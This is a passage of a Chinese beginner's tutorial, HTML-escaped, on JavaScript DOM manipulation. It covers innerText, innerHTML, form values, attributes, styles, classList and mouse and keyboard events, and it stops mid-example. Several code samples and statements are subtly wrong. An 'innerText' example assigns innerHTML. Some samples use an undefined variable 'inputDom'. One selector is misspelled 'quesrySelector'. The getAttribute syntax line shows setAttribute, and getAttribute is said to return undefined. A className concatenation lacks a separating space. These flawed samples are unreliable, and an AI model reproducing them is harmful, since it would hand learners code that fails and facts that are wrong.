&lt;h5&gt;2.5 特殊元素&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;获取html&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;document.documentElement&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;获取body&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;document.body&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(三) 操作元素&lt;/h4&gt;
&lt;h5&gt;3.1 内容值&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;innerText&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;获取或修改元素的内容，只能设置文本内容。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;element.innerText&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;获取&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;element.innerText&lt;/code&gt;可以直接获取到值。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;span&amp;gt;这是个span标签&amp;lt;/span&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    var spanDom = document.querySelector(&quot;span&quot;)
    console.log(spanDom.innerText)
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;修改&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;对&lt;code&gt;element.innerText&lt;/code&gt;赋值，即修改内容。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;span&amp;gt;这是个span标签&amp;lt;/span&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    var spanDom = document.querySelector(&quot;span&quot;)
    spanDom.innerHTML= &quot;文字&quot;
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/c2c875b1ba-viwe-1698821239119200.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/e908c02db9-viwe2-1698821242451202.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;innerHTML&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;获取或修改元素的内容，可以设置标签文本。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;element.innerHTML  &lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;获取&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;element.innerHTML  &lt;/code&gt;可以直接获取到值。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;div&amp;gt;这是个span标签&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    var spanDom = document.querySelector(&quot;div&quot;)
    console.log(spanDom.innerText)
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;修改&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;对&lt;code&gt;element.innerHTML  &lt;/code&gt;赋值，即修改内容。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;span&amp;gt;这是个span标签&amp;lt;/span&amp;gt;
    &amp;lt;div&amp;gt;这是个div标签&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    var spanDom = document.querySelector(&quot;span&quot;)
    var divDom = document.querySelector(&quot;span&quot;)
    spanDom.innerText= &quot;&amp;lt;span&amp;gt;文字&amp;lt;/span&amp;gt;&quot;
    divDom.innerHTML = &quot;&amp;lt;span&amp;gt;文字&amp;lt;/span&amp;gt;&quot;
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/38b3450883-viwe3-1698821246300204.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/7c7d66923e-viwe4-1698821248546206.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;value&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;获取或修改&lt;strong&gt;表单元素&lt;/strong&gt;的内容。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;element.value  &lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：仅对表单元素。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;获取&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;element.value  &lt;/code&gt;可以直接获取到值。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;input value=&quot;123456&quot;&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    var inputDom = document.querySelector(&quot;input&quot;)
    console.log(inputDom.value)
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;修改&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;对&lt;code&gt;element.value  &lt;/code&gt;赋值，即修改内容。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;input value=&quot;123456&quot;&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    var inputDom = document.querySelector(&quot;input&quot;)
    inputDom.value = &quot;修改input值&quot;
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/edc68e076e-viwe5-1698821251931208.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/ed6c31997a-viwe6-1698821254299210.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;3.2 属性值&lt;/h5&gt;
&lt;p&gt;在Dom中，标签都被理解成为一个对象（Object），拥有各种属性和方法，可以通过Js获取、修改，包括事件也可以看成是对标签属性赋值。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;获取&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;element.属性&lt;/code&gt;可以直接获取到值。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;div id=&quot;index&quot; class=&quot;container&quot;&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    var divDom = document.querySelector(&quot;div&quot;)
    console.log(inputDom.id)
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;修改&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;对&lt;code&gt;element.属性  &lt;/code&gt;赋值，即修改属性值。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;div id=&quot;index&quot; class=&quot;container&quot;&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    var divDom = document.querySelector(&quot;div&quot;)
    inputDom.id = &quot;changed-index&quot;
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/4cdf6c7b11-dom-1698821257926212.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;特殊属性&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;通常在dom中的属性名与标签中属性名是同名的，但也有例外，如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;class（标签中）   --   className（dom中）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;style属性在Dom中还是个对象模型，可以细化设置，在4.3中详细介绍。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h5&gt;3.3 样式&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h5&gt;通过&lt;code&gt;style&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;通过直接元素修改style属性的值，达到修改元素的样式。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;element.style.属性 = 属性值&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;属性值为&lt;code&gt;String&lt;/code&gt;类型。&lt;/li&gt;
&lt;li&gt;若在css中是&lt;code&gt;单词-单词&lt;/code&gt;形式的属性，要写成驼峰形式。&lt;/li&gt;
&lt;li&gt;此方法是修改行内style。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;div&amp;gt;文本&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    var divDom  =  document.quesrySelector(&quot;div&quot;)
    divDom.style.color = &quot;#123456&quot;
    divDom.style.backgroundColor = &quot;#654321&quot;
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/c7dedb7d8e-viwe7-1698821261341214.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;通过&lt;code&gt;className&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;可以通过修改元素的class值，修改元素的最终样式。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;element.class = &quot;值&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：此方式会覆盖原有的class值，如果想要保留，使用字符串拼接。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    .normal-text{
        color: #123456;
        font-size: 24px;
    }
    .primary-text{
        color: red;
        font-weight: bold;
    }
&amp;lt;/style&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;normal-text&quot;&amp;gt;
    test文字
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    var divDom = document.querySelector(&quot;.normal-text&quot;)
    // 不保留原class
    divDom.className = &quot;primary-text&quot;
    // 保留原class
    divDom.className += &quot;primary-text&quot;
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;原样式&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/438a54c2c3-viwe10-1698821265191216.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;不保留原样式&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/ee62b8b53e-viwe8-1698821268287218.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;保留原样式，并加上新样式&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/e45af140e9-viwe9-1698821271039220.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;通过&lt;code&gt;classList&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;dom提供了一个classList，将class每一项数组化，以灵活的&lt;strong&gt;添加&lt;/strong&gt;、&lt;strong&gt;删除&lt;/strong&gt;一项 class。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;add(&quot;值&quot;)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;添加一个class。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;element.classList.add(&quot;值&quot;)&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;remove(&quot;值&quot;)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;移除一个class。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;element.classList.remove(&quot;值&quot;)&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    .normal-text{
        color: #123456;
        font-size: 24px;
    }
    .primary-text{
        color: red;
        font-weight: bold;
    }
&amp;lt;/style&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;normal-text&quot;&amp;gt;
    	文本
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    var divDom = document.querySelector(&quot;.normal-text&quot;)
    // 添加一个class
    divDom.classList.add(&quot;primary-text&quot;)
    // 移除一个class
    divDom.classList.remove(&quot;normal-text&quot;)
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;添加新&lt;code&gt;class&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/76da0415e8-viwe11-1698821275508222.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/47ac0e9ea4-dom2-1698821278966224.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;移除旧&lt;code&gt;class&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/6ad26f6456-viwe12-1698821282265226.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/aa00dffa02-dom3-1698821285290228.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;五、总结&lt;/h3&gt;
&lt;p&gt;DOM 将文档解析为一个由节点和对象（包含属性和方法的对象）组成的结构集合；它提供了对文档的结构化的表述，并定义了一种方式可以使从程序中对该结构进行访问，从而改变文档的结构，样式和内容。我们能使用其提供的方式来查找页面的对应元素（&lt;strong&gt;元素就是标签&lt;/strong&gt;）或节点，并且还可以通过修改元素内部的属性值来达到修改页面样式能力。&lt;/p&gt;
&lt;h2&gt;JavaScript-05&lt;/h2&gt;
&lt;h3&gt;一、知识点&lt;/h3&gt;
&lt;p&gt;自定义属性、事件、节点操作&lt;/p&gt;
&lt;h3&gt;二、目标&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;熟练使用自定义属性&lt;/li&gt;
&lt;li&gt;熟练掌握事件&lt;/li&gt;
&lt;li&gt;熟练使用节点操作&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;三、内容分析&lt;/h3&gt;
&lt;h4&gt;(一) 重点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;事件&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(二) 难点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;事件&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;节点操作&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;四、内容&lt;/h3&gt;
&lt;h4&gt;(一) 自定义属性&lt;/h4&gt;
&lt;p&gt;为了保存数据并使用数据，有些数据可以保存在页面，不需要存在数据库。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;setAttribute()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;设置一个属性和值（键值对）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;element.setAttribute(&quot;键&quot;,&quot;值&quot;)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
  &amp;lt;div class=&quot;normal-text&quot;&amp;gt;信息&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
  var divDom = document.querySelector(&quot;.normal-text&quot;)
  divDom.setAttribute(&quot;username&quot;,&quot;小明&quot;)
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/44eb311187-dom4-1698821292511230.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;getAttribute()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;获取指定属性的值，如果没有该属性，则返回&lt;code&gt;undefined&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;： &lt;code&gt;element.setAttribute(&quot;键&quot;)&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;normal-text&quot; username=&quot;小明&quot;&amp;gt;信息&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    var divDom = document.querySelector(&quot;.normal-text&quot;)
    var attr = divDom.getAttribute(&quot;username&quot;)
    console.log(attr)
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/05c725a4ec-log-1698821295536232.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(二) 事件&lt;/h4&gt;
&lt;h5&gt;2.1 什么是事件&lt;/h5&gt;
&lt;p&gt;​		事件是可以被JavaScript检测到的行为，网页中每个元素都可以触发事件，由三个部分组成：事件源，事件类型，事件处理程序。&lt;/p&gt;
&lt;p&gt;​		&lt;strong&gt;事件源&lt;/strong&gt;：事件触发的目标。&lt;/p&gt;
&lt;p&gt;​		&lt;strong&gt;事件类型&lt;/strong&gt;：触发方式（单击、双击、长按...）。&lt;/p&gt;
&lt;p&gt;​		&lt;strong&gt;事件处理程序&lt;/strong&gt;：通过函数响应事件。&lt;/p&gt;
&lt;h5&gt;2.2 绑定事件&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;标签属性绑定&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;button onclick=&quot;函数名()&quot;&amp;gt;点击&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;DOM对象属性绑定&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;domObj.事件名 = function(){
    /* 逻辑代码 */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;addEventListener()&lt;/code&gt;方法绑定&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;domObj.addEventListener(&quot;事件名&quot;,function(){
    /* 逻辑代码 */ 
})
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：对一个元素不要绑定两次相同的事件。&lt;/p&gt;
&lt;h5&gt;2.3 事件参数&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;event&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;此次发生的事件对象，里面记录了本次事件的各项信息。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;this&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;此次事件的事件源。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：如果是用【&lt;strong&gt;标签属性&lt;/strong&gt;】绑定，&lt;code&gt;this&lt;/code&gt;得手动传入。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;手动传入&lt;code&gt;this&lt;/code&gt;参数。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;button onclick=&quot;handleCilck(this)&quot;&amp;gt;点击&amp;lt;/button&amp;gt;
&amp;lt;/body&amp;gt;

&amp;lt;script&amp;gt;
    function handleCilck(that){
        console.log(that)
        console.log(event)
    }
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/2b51abce89-evnet-1698821300777234.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;2.4 鼠标事件&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;事件列表&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;事件&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-onclick.html&quot;&gt;onclick&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;当用户点击某个对象时调用的事件句柄。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-oncontextmenu.html&quot;&gt;oncontextmenu&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;在用户点击鼠标右键打开上下文菜单时触发&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-ondblclick.html&quot;&gt;ondblclick&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;当用户双击某个对象时调用的事件句柄。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-onmousedown.html&quot;&gt;onmousedown&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;鼠标按钮被按下。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-onmouseenter.html&quot;&gt;onmouseenter&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;当鼠标指针移动到元素上时触发。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-onmouseleave.html&quot;&gt;onmouseleave&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;当鼠标指针移出元素时触发&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-onmousemove.html&quot;&gt;onmousemove&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;鼠标被移动。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-onmouseover.html&quot;&gt;onmouseover&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;鼠标移到某元素之上。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-onmouseout.html&quot;&gt;onmouseout&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;鼠标从某元素移开。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-onmouseup.html&quot;&gt;onmouseup&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;鼠标按键被松开。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;button class=&quot;sub-btn&quot;&amp;gt;提交&amp;lt;/button&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    var btnDom = document.querySelector(&quot;.sub-btn&quot;)
    btnDom.onclick = function(){
        console.log(&quot;提交成功&quot;)
        // 输出默认形参
        console.log(event)
        console.log(this)
    }
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/329d0abed7-event-view-1698821304757236.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/801d5ebca6-event-log-1698821307317238.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;2.5 键盘事件&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;事件列表&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;属性&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-onkeydown.html&quot;&gt;onkeydown&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;某个键盘按键被按下。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-onkeypress.html&quot;&gt;onkeypress&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;某个键盘按键被按下并松开。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-onkeyup.html&quot;&gt;onkeyup&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;某个键盘按键被松开。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;input class=&quot;username-input&quot;&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
